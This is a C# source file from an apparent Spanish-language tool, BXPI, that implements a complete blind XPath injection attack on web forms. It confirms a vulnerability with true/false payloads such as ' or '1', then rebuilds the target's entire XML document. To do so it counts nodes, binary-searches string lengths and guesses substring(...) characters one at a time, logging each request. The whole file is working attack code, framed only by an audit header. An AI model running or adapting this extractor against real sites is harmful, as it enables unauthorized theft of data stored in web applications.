﻿/*********************************************************************
 * Nombre: Inyección.cs
 * Descripción: Clase encargada de realizar las inyecciones.
 * Autor: DRD
 * Modificaciones:
 * ******************************************************************/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.IO;
using System.Web;
using System.Text.RegularExpressions;

namespace BXPI
{
    public class Inyeccion 
    {
        private List<Parser.formulario> ListaForms = new List<Parser.formulario>();
        private string host;
        private string cadena1 = "";
        private string cadena2 = "";
        private string nombreInyect = "";
        private string valorInyect = "";
        private string cadenaResultado = "";
        private int num_nodos;
        private string cadenaDis = "";
        private List<string> listaPalabras = new List<string>();
        private XmlWriter EscritorXML;
        private LogForm Logging;
        private int num_peticiones = 0;
        private string strInicio = "'";
        private string strFin = " and ''='";
        private string strCierre = "'";

        public struct atributo 
        {
            public string nombre;
            public string valor;
        }
        

        public List<nodo> Arbol = new List<nodo>();
        public struct nodo
        {
            public string nombre;
            public int nivel;
            public string valor;
            public int num_hijos;
            public string path;
            public List<nodo> hijos;
            public List<atributo> atributos;
            public string tipo;
        }


        /// <summary>
        /// Tendrá que tomar el valor de la página que siempre sea cierta
        /// </summary>
        string aceptado = "";
        string denegado = "";
        private bool bParar = false;
        private string caracteres = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ";
        private Boolean reducirCharset = true;
        private Boolean aprenderRepetidas = true;
        private string tipoInyeccion = "Entre comillas simples ' '";

        public Inyeccion(List<Parser.formulario> Lista, string direccion, string strDis, XmlWriter EscritorXML, ConfigurarCharset.configCharset configCharset, LogForm Log, string tipoIny) {
            this.Logging = Log;
            this.ListaForms = Lista;
            this.EscritorXML = EscritorXML;
            host = direccion + "?";
            this.cadenaDis = strDis;
            this.caracteres = configCharset.charset;
            this.reducirCharset = configCharset.reducirCharset;
            this.aprenderRepetidas = configCharset.aprenderPalabras;
            this.tipoInyeccion = tipoIny;
            DateTime principio = DateTime.Now; //Variable en la que guardamos la hora de inicio
            nodo nodo_cabecera = new nodo();
            nodo nodo_pie = new nodo();

            configurarCadenas();
            montarCadenas();
            cadenaResultado = host + cadena1 + "&" + nombreInyect + "="+ valorInyect + "&"+ cadena2;
            if (esVulnerable())
            {
                if (this.reducirCharset)
                {
                    this.caracteres = ReducirCharset();
                }
                //Preparación de la cabecera del documento
                nodo_cabecera.tipo = "cabecera";
                nodo_cabecera.valor = "Auditoría a " + direccion + " el " + DateTime.Today.ToString("dd/MM/yyyy") + " a las " + DateTime.Now.ToString("HH:mm:ss tt");
                nodo_cabecera.nivel = 0;
                EscritorXML.escribirNodo(nodo_cabecera);
                num_nodos = CalculaNumNodos();
                string total = (DateTime.Now - principio).ToString();
                nodo_pie.tipo = "pie";
                nodo_pie.valor = "Realizadas " + num_peticiones + " peticiones en " + total + " horas";
                nodo_pie.nivel = 0;
                EscritorXML.escribirNodo(nodo_pie);

                EscritorXML.mensajesUser("Se ha extraido el arbol XML correctamente.", "Finalizado", "informacion");
            }
            else {
                EscritorXML.mensajesUser("No se encuentra un patrón de vulnerabilidad.", "Error", "error");
                
            }
            
        }


        /// <summary>
        /// Asigna los valores ACEPTADO Y DENEGADO
        /// </summary>
        /// <returns></returns>
        private bool esVulnerable() {
            if (cadenaDis == "")
            {
                aceptado = conecta(strInicio + " or " + strInicio+ "1" + strCierre);
                if (aceptado == "") {
                    return false;
                }
                aceptado = limpiarFormulario(aceptado, strInicio + " or " + strInicio + "1" + strCierre);
                denegado = conecta(strInicio + " or " + strInicio + "0" + strInicio + "=" + strInicio + "1" + strCierre);
                denegado = limpiarFormulario(denegado, strInicio + " or " + strInicio + "0" + strInicio + "=" + strInicio + "1" + strCierre);
                if (aceptado == denegado)
                {//Intentamos comprobar si es numérico
                    return false;
                }
                else
                { 
                    return true;
                }
            }
            else {
                aceptado = cadenaDis;
                if (conecta(strInicio + " or " + strInicio+ "1" + strCierre).IndexOf(aceptado) > 0)
                {
                    if (conecta(strInicio + " or " + strInicio + "0" + strInicio + "=" + strInicio + "1" + strCierre).IndexOf(aceptado) > 0)
                    {
                        return false;
                    }
                    return true;
                }
                else
                {
                    return false;
                }

            }
        }

        //Extrae el texto de un nodo
        private string texto(nodo nodo)
        {
            int longitud = -1;
            string stringInj;
            string valor_texto = "";
            string longQuery = "";

            longQuery = strInicio + " or string-length (/*" + nodo.path + ")";
            longitud = BusquedaBinaria(longQuery);

            if (aprenderRepetidas) {

               valor_texto = learnWords(strInicio + " or string((/*" + nodo.path + "))=", longitud);
            }
            if (valor_texto == "")
            {
                for (int i = 1; i < longitud + 1; i++)//01/07/2009
                {
                    for (int j = 0; j < caracteres.Length; j++)
                    {
                        if (caracteres[j] == '\'')
                            stringInj = strInicio + " or substring((/*" + nodo.path + ")," + i + ",1)=" + "\"" + caracteres[j] + "\"" + strFin;
                        else
                            stringInj = strInicio + " or substring((/*" + nodo.path + ")," + i + ",1)=" + "'" + caracteres[j] + "'" + strFin;
                        if (valor(stringInj))
                        {
                            valor_texto = valor_texto + caracteres[j];
                            break;// Sale del bucle interior 
                        }
                    }
                }
                listaPalabras.Add(valor_texto);
            }
            return valor_texto;
        }

        //11/06/2009
        //Extrae el nombre del nodo
        private string nombre(nodo nodo)
        {
            string cadenaInj;
            int longitud = -1;
            string valor_texto = "";
            string longQuery = "";

            longQuery = strInicio + " or string-length(name(/*" + nodo.path + "))";
            longitud = BusquedaBinaria(longQuery);

            if (aprenderRepetidas & longitud != 0) {

               valor_texto = learnWords(strInicio + " or string(name(/*" + nodo.path + "))=", longitud);
            }
            if (valor_texto == "" & longitud != 0)
            {
                for (int i = 1; i < longitud + 1; i++)//01/07/2009
                {
                    for (int j = 0; j < caracteres.Length; j++)
                    {
                        if (caracteres[j] == '\'')
                            cadenaInj = strInicio + " or substring(name(/*" + nodo.path + ")," + i + ",1)=" + "\"" + caracteres[j] + "\"" + strFin;
                        else
                            cadenaInj = strInicio + " or substring(name(/*" + nodo.path + ")," + i + ",1)=" + "'" + caracteres[j] + "'" + strFin;
                        if (valor(cadenaInj))
                        //if (valor(strInicio + " or substring((" + nodo.path + "::node())," + i + ",1)=" + "\"" + caracteres[j] + "\"" + strFin))
                        {
                            valor_texto = valor_texto + caracteres[j];
                            break;// Sale del bucle interior 
                        }
                    }
                }
                listaPalabras.Add(valor_texto);
            }
            return valor_texto;
        }


        /// <summary>
        /// Extrae el texto de un atributo
        /// 15/06/2009
        /// </summary>
        /// <param name="path"></param>
        /// <param name="num_atributo"></param>
        /// <returns></returns>
        private string textoAtrib(string path, int num_atributo)
        {
            int longitud = -1;
            string stringInj;
            string valor_texto = "";
            string longQuery = "";

            longQuery = strInicio + " or string-length (/*" + path + "/@*[position()=" + num_atributo + "])";
            longitud = BusquedaBinaria(longQuery);

            if (aprenderRepetidas) {

               valor_texto = learnWords(strInicio + " or string((/*" + path + "/@*[position()=" + num_atributo + "]))=", longitud);
            }
            if (valor_texto == "")
            {
                for (int i = 1; i < longitud + 1; i++)//01/07/2009
                {
                    for (int j = 0; j < caracteres.Length; j++)
                    {
                        if (caracteres[j] == '\'')
                            stringInj = strInicio + " or substring((/*" + path + "/@*[position()=" + num_atributo + "])," + i + ",1)=" + "\"" + caracteres[j] + "\"" + strFin;
                        else
                            stringInj = strInicio + " or substring((/*" + path + "/@*[position()=" + num_atributo + "])," + i + ",1)=" + "'" + caracteres[j] + "'" + strFin;
                        if (valor(stringInj))
                        {
                            valor_texto = valor_texto + caracteres[j];
                            break;// Sale del bucle interior 
                        }
                    }
                }
                listaPalabras.Add(valor_texto);
            }
            return valor_texto;
        }


        /// <summary>
        /// Extrae el nombre del atributo
        /// </summary>
        /// <param name="path"></param>
        /// <param name="num_atributo"></param>
        /// <returns></returns>
        private string nombreAtrib(string path, int num_atributo)
        {
            string cadenaInj;
            int longitud = -1;
            string valor_texto = "";
            string longQuery = "";

            longQuery = strInicio + " or string-length(name(/*" + path + "/@*[position()=" + num_atributo + "]))";
            longitud = BusquedaBinaria(longQuery);

            if (aprenderRepetidas) {

               valor_texto = learnWords(strInicio + " or string(name(/*" + path + "/@*[position()=" + num_atributo + "]))=", longitud);
            }
            if (valor_texto == "")
            {
                for (int i = 1; i < longitud + 1; i++)//01/07/2009
                {
                    for (int j = 0; j < caracteres.Length; j++)
                    {
                        if (caracteres[j] == '\'')
                            cadenaInj = strInicio + " or substring(name(/*" + path + "/@*[position()=" + num_atributo + "])," + i + ",1)=" + "\"" + caracteres[j] + "\"" + strFin;
                        else
                            cadenaInj = strInicio + " or substring(name(/*" + path + "/@*[position()=" + num_atributo + "])," + i + ",1)=" + "'" + caracteres[j] + "'" + strFin;

                        if (valor(cadenaInj))
                        {
                            valor_texto = valor_texto + caracteres[j];
                            break;// Sale del bucle interior 
                        }
                    }
                }
                listaPalabras.Add(valor_texto);
            }
            return valor_texto;
        }


        /// <summary>
        /// Limpia la página de posible ruido para la detección automática
        /// </summary>
        /// <param name="cadena"></param>
        /// <param name="inyeccion"></param>
        /// <returns></returns>
        private string limpiarFormulario(string cadena, string inyeccion) {
            int indice = 0;
            int posFin = 0;
            string valor;
            Regex reg = new Regex("[^a-zA-Z0-9 ]");

            //transformación UNICODE
            cadena = cadena.Normalize(NormalizationForm.FormD);
            inyeccion = inyeccion.Normalize(NormalizationForm.FormD);

            if (cadenaDis == "")
            {
                cadena = cadena.Replace(inyeccion, "");
                cadena = cadena.ToLower().Replace(ConvertToHex(inyeccion).ToLower(), "");
                cadena = cadena.Replace(" ", "");
                cadena = cadena.Replace("\t", "");
                cadena = cadena.Replace("\n", "");
                cadena = cadena.Replace("\r", "");

                while (indice != -1)
                {
                    indice = cadena.ToLower().IndexOf("value=\"", indice + 1);
                    if (indice > 0)
                    {
                        posFin = cadena.IndexOf("\"", indice + 7);
                        valor = cadena.Substring(indice + 7, posFin - indice - 7);
                        cadena = cadena.Replace("\"" + valor + "\"", "\"\"");
                    }
                }
            }
            return cadena;
        }

        /// <summary>
        /// Calcula los valores del nodo raiz.
        /// </summary>
        /// <returns></returns>
        private int CalculaNumNodos() {
            //Prueba numero de nodos
            nodo nodo;
            nodo nodoAux;
            int numero_nodos = -1;
            for (int i = 0;
            numero_nodos == -1; i++)
            {
                if (valor(strInicio + " or count(/*/child::node())=" + i + strFin))
                {
                    numero_nodos = i;
                }
            }

            //Creación del nodo raiz
            nodo = new nodo();
            nodoAux = new nodo();
            nodo.nivel = 0;
            nodoAux.nivel = 0;
            nodo.num_hijos = numero_nodos;
            nodoAux.num_hijos = numero_nodos;
            nodo.valor = "";
            nodoAux.valor = "";
            nodo.tipo = "raiz";
            nodoAux.tipo = "raiz";
            nodo.path = "";
            nodoAux.path = "";
            nodoAux.nombre = nombre(nodoAux);
            nodo.nombre = nodoAux.nombre;
            nodo.atributos = ListaAtrib(nodoAux);
            nodoAux.atributos = nodo.atributos;
            EscritorXML.escribirNodo(nodoAux);
            nodo.hijos = CalcularNumHijos(nodoAux);
            Arbol.Add(nodo);
            EscritorXML.TerminarImpresion();
                return numero_nodos;
        }

        /// <summary>
        /// Monta la lista de atributos
        /// </summary>
        /// <param name="nodo"></param>
        /// <returns></returns>
        private List<atributo> ListaAtrib(nodo nodo)
        {
            string cadenaAux;
            atributo atrib = new atributo();
            List<atributo> listaAtribs = new List<atributo>();
            int numero_atributos = -1;
            for (int i = 0; numero_atributos == -1; i++)
            {
                cadenaAux = strInicio + " or count(/*" + nodo.path + "/@*)=" + i + strFin;
                if (valor(strInicio + " or count(/*" + nodo.path + "/@*)=" + i + strFin))
                {
                    numero_atributos = i;
                }
            }
            if (numero_atributos > 0)
            {
                for (int i = 1; i <= numero_atributos; i++)
                {
                    atrib.nombre = nombreAtrib(nodo.path, i);
                    atrib.valor = textoAtrib(nodo.path, i);
                    listaAtribs.Add(atrib);
                }
            }

            return listaAtribs;
        
        }

        /// <summary>
        /// Función recursiva que rellena el árbol XML, rellena el valor de todos los nodos
        /// </summary>
        /// <param name="raiz"></param>
        /// <returns></returns>
        private List<nodo> CalcularNumHijos(nodo raiz)
        {
            nodo nodo = new nodo();
            int numero_nodos_hijo = -1;
            List<nodo> ListaAux = new List<nodo>();
            List<nodo> ArbolAux = new List<nodo>();

            nodo nodoAux = new nodo();
            string cadena;

                for (int i = 0; i < raiz.num_hijos; i++) {
                    cadena = raiz.path + "/child::node()[position()=" + (i + 1) + "]";

                    numero_nodos_hijo = -1;
                    for (int k = 0; numero_nodos_hijo == -1; k++)
                    {
                        //if (valor(strInicio + " or count(/*" + cadena + "/child::*) = " + k + strFin)) //NO SE CONTABAN LOS COMENTARIOS
                        if (valor(strInicio + " or count(/*" + cadena + "/child::node()) = " + k + strFin))
                        {
                            numero_nodos_hijo = k;

                            nodo.nivel = raiz.nivel + 1;
                            nodoAux.nivel = raiz.nivel + 1;
                            nodo.num_hijos = k;
                            nodoAux.num_hijos = k;
                            nodoAux.path = cadena;
                            nodo.path = cadena;
                            nodo.nombre = nombre(nodoAux);
                            nodoAux.nombre = nodo.nombre;
                            nodo.atributos = ListaAtrib(nodoAux);
                            nodoAux.atributos = nodo.atributos;
                            nodo.tipo = TipoNodo(nodoAux);
                            nodoAux.tipo = nodo.tipo;
                            if (k == 0)
                            {
                                nodo.valor = texto(nodoAux);
                                nodoAux.valor = nodo.valor;
                            }
                            else {
                                nodo.valor = "";
                                nodoAux.valor = "";
                            }

                            EscritorXML.escribirNodo(nodoAux);
                            nodo.hijos = CalcularNumHijos(nodoAux);
                            ListaAux.Add(nodo);

                            cadena = "";
                        }
                    }
                    
                }
            return ListaAux; 
        }

        /// <summary>
        /// 20/06/2009
        /// </summary>
        /// <param name="nodo"> Obtiene el tipo de nodo</param>
        /// <returns>Literal que representa el tipo de nodo</returns>
        public string TipoNodo(nodo nodo) {
            int num_text    = -1,//Numero de nodos text()
                num_comm    = -1,//Numero de nodos comment()
                num_pi      = -1;//Numero de nodos processing-instruction()
            string cadenaAux;

            for (int i = 0; num_text == -1; i++)
            {
                if (valor(strInicio + " or count(/*" + nodo.path + "/parent::node()/text()) = " + i + strFin))
                {
                    num_text = i;
                }
            }
            for (int i = 0; num_comm == -1; i++)
            {
                if (valor(strInicio + " or count(/*" + nodo.path + "/parent::node()/comment()) = " + i + strFin))
                {
                    num_comm = i;
                }
            }
            for (int i = 0; num_pi == -1; i++)
            {
                if (valor(strInicio + " or count(/*" + nodo.path + "/parent::node()/processing-instruction()) = " + i + strFin))
                {
                    num_pi = i;
                }
            }

            for (int i = 1; i <= num_text; i++)
            {
                cadenaAux = strInicio + " or count(((/*" + nodo.path + ") | /*" + nodo.path + "/parent::node()/text()[position()=" + i + "])) = 1" + strFin;

                if (valor(strInicio + " or count(((/*" + nodo.path + ") | /*" + nodo.path + "/parent::node()/text()[position()=" + i + "])) = 1" + strFin))
                {
                    return "text";
                }
            }

            for (int i = 1; i <= num_comm; i++)
            {
                if (valor(strInicio + " or count(((/*" + nodo.path + ") | /*" + nodo.path + "/parent::node()/comment()[position()=" + i + "])) = 1" + strFin))
                {
                    return "comment";
                }
            }

            for (int i = 1; i <= num_pi; i++)
            {
                if (valor(strInicio + " or count(((/*" + nodo.path + ") | /*" + nodo.path + "/parent::node()/processing-instruction()[position()=" + i + "])) = 1" + strFin))
                {
                    return "pi";
                }
            }

            return "elemento";

        }

        /// <summary>
        /// Devuelbe la cadena entrante en formato URL
        /// </summary>
        /// <param name="asciiString"></param>
        /// <returns></returns>
        public string ConvertToHex(string asciiString)
        {
            asciiString = System.Web.HttpUtility.UrlEncode(asciiString);
            return asciiString;
        }

        /// <summary>
        /// Realiza la conexión al servidor especificado
        /// </summary>
        /// <param name="cadena"></param>
        /// <returns>Devuelve la respuesta o vacio en caso de no ser exitoso</returns>
        private string conecta(string cadena)
        {

            System.Windows.Forms.Application.DoEvents();

            nombreInyect = System.Web.HttpUtility.UrlEncode(nombreInyect);
            cadena=System.Web.HttpUtility.UrlEncode(cadena);

            string peticion = host + cadena1 + "&" + nombreInyect + "=" + valorInyect + cadena + "&" + cadena2;
            try
            {
                WebClient client = new WebClient();
                Stream data = client.OpenRead(peticion);
                StreamReader reader = new StreamReader(data);
                string s = reader.ReadToEnd();
                data.Close();
                reader.Close();
                return limpiarFormulario(s, cadena);
            }
            catch {
                return "";
            }
            
        }

        /// <summary>
        /// Comprueba si la respuesta web es un VERDADERO o un FALSO
        /// Prepara las lineas de LOG.
        /// </summary>
        /// <param name="cadena"></param>
        /// <returns></returns>
        private bool valor(string cadena)
        {

            string body = conecta(cadena);
            num_peticiones++;
            if (body.IndexOf(aceptado) != -1)
            {
                Logging.printer (cadena + "  [OK]");
                return true;
            }
            else
            {
                Logging.printer(cadena + "  [KO]");
                return false;
            }
        }

        /// <summary>
        /// Recorre la lista de parámetros configurados por el usuario y prepara las cadenas para ser enviadas
        /// </summary>
        private void montarCadenas() 
        {
            bool encontradoInyectable = false;
            for (int i = 0; i < ListaForms.Count; i++)
            {
                for (int j = 0; j < ListaForms[i].parametros.Count; j++)
                {
                    
                    if (ListaForms[i].parametros[j].usar == true) {
                        if (!encontradoInyectable)
                        {
                            if (ListaForms[i].parametros[j].inyectable != true)
                            {
                                if (cadena1 != "")
                                {
                                    cadena1 += "&";
                                }
                                cadena1 += ListaForms[i].parametros[j].nombre + "=" + ListaForms[i].parametros[j].valor;
                            }
                            else
                            {
                                encontradoInyectable = true;
                                nombreInyect = ListaForms[i].parametros[j].nombre;
                                valorInyect = ListaForms[i].parametros[j].valor;
                            }
                        }
                        else {
                            if (cadena2 != "")
                            {
                                cadena2 += "&";
                            }
                            cadena2 += ListaForms[i].parametros[j].nombre + "=" + ListaForms[i].parametros[j].valor;
                        
                        }
                    }
                    
                }

                for (int j = 0; j < ListaForms[i].botones.Count; j++)
                {
                    if (ListaForms[i].botones.Count > 0)
                    {
                        if (ListaForms[i].botones[j].usar == true)
                        {
                            if (cadena2 != "")
                            {
                                cadena2 += "&";
                            }
                            if (ListaForms[i].botones[j].nombre != "")
                            {
                                cadena2 += ListaForms[i].botones[j].nombre + "=" + ListaForms[i].botones[j].valor;
                            }
                            else if (ListaForms[i].botones[j].id != "")
                            {
                                cadena2 += ListaForms[i].botones[j].identificador + "=" + ListaForms[i].botones[j].valor;//Cuidado con esta línea
                            }
                        }  
                    }
                }
            }
        
        }

        /// <summary>
        /// Hace una petición por cada letra del charset y comprueba si existe en el XML
        /// </summary>
        /// <returns></returns>
        public string ReducirCharset() {
            string nuevo_charset = "";
            String stringInj = "";

            
        
            for (int j = 0; j < caracteres.Length; j++)
            {
            
                if (caracteres[j] != '\"')
                    stringInj = strInicio + " or (//*[contains(name(), \"" + caracteres[j] + "\")] or //@*[contains(name(), \"" +
                                        caracteres[j] + "\")] or //attribute::*[contains(.,\"" + caracteres[j] +
                                        "\")] or contains(//*,\"" + caracteres[j] + "\") or //*[contains(comment(), \"" +
                                        caracteres[j] + "\")] or //*[contains(processing-instruction(), \"" +
                                        caracteres[j] + "\")] or //child::comment()[contains(.,\"" + caracteres[j] + "\")]" +
                                        "or //child::text()[contains(.,\"" + caracteres[j] + "\")]" + "or //child::node()[contains(.,\"" + caracteres[j] + "\")]" + 
                                        "or //child::processing-instruction()[contains(.,\"" + caracteres[j] + "\")])" 
                                        +strFin;
                else
                    stringInj = strInicio + " or (//*[contains(name(), '"+ caracteres[j] +"')] or //@*[contains(name(), '"+ 
                                        caracteres[j] +"')] or //attribute::*[contains(.,'"+ caracteres[j] +
                                        "')] or contains(//*,'"+ caracteres[j] +"') or //*[contains(comment(), '"+ 
                                        caracteres[j] +"')] or //*[contains(processing-instruction(), '"+
                                        caracteres[j] + "')] or //child::comment()[contains(.,'" + caracteres[j] + "')]"+
                                        "or //child::text()[contains(.,'" + caracteres[j] + "')]" + "or //child::node()[contains(.,'" + caracteres[j] + "')]" +
                                        "or //child::processing-instruction()[contains(.,'" + caracteres[j] + "')])" + strFin;
                if (valor(stringInj))
                {
                    nuevo_charset = nuevo_charset + caracteres[j];   
                }
            }
            return nuevo_charset;
        }

        /// <summary>
        /// Recorre la lista de palabras aprendidas en busca de palabras con la misma longitud
        /// </summary>
        /// <param name="path"></param>
        /// <param name="longitud"></param>
        /// <returns> Si no encuentra la palabra la devuelve vacia </returns>
        public string learnWords(string path, int longitud) {
            for (int i = 0; i < listaPalabras.Count(); i++) {
                if (listaPalabras[i].Length == longitud) { 
                    if (valor(path + "\"" + listaPalabras[i] + "\"" + strFin)){
                        return listaPalabras[i];
                    }
                }
            }
            return "";
        }

        public void setParada(bool parada) { 
            bParar = parada;
        }

        /// <summary>
        /// Realiza una búsqueda binaria de la longitud de la consulta que entra
        /// </summary>
        /// <param name="consulta"></param>
        /// <returns></returns>
        public int BusquedaBinaria(string consulta)
        {
            int num_abajo = 0;
            int num_arriba = 32;
            int num_medio = 0;

            while (valor(consulta + ">=" + num_arriba + strFin))
            {
                num_arriba = num_arriba * 2;
            }
            while (num_arriba >= num_abajo)
            {
                num_medio = (num_arriba + num_abajo) / 2;
                if (valor(consulta + ">" + num_medio + strFin))
                {
                    num_abajo = num_medio;
                }
                else if (valor(consulta + "<" + num_medio + strFin))
                {
                    num_arriba = num_medio;
                }
                else
                {
                    return num_medio;
                }
            }

            return num_medio;
        }

        /// <summary>
        /// Fija los valores de como se cierran y abre las cadenas que se inyectan
        /// </summary>
        public void configurarCadenas() {
            if (tipoInyeccion == "Entre comillas simples ' '"){
                strInicio = "'";//Cierra el string original
                strFin = " and ''='";//Cierra nuestro string
                strCierre = ""; //Cuando no es necesario el and
            }else if (tipoInyeccion == "Entre comillas dobles \" \""){
                strInicio = "\"";
                strFin = " and \"\"=\"";
                strCierre = "";
            }else if (tipoInyeccion == "Sin entrecomillar (Numérico)") {
                strInicio = "";
                strFin = " and ''=''";
                strCierre = "";
            }
        
        }
    }
}
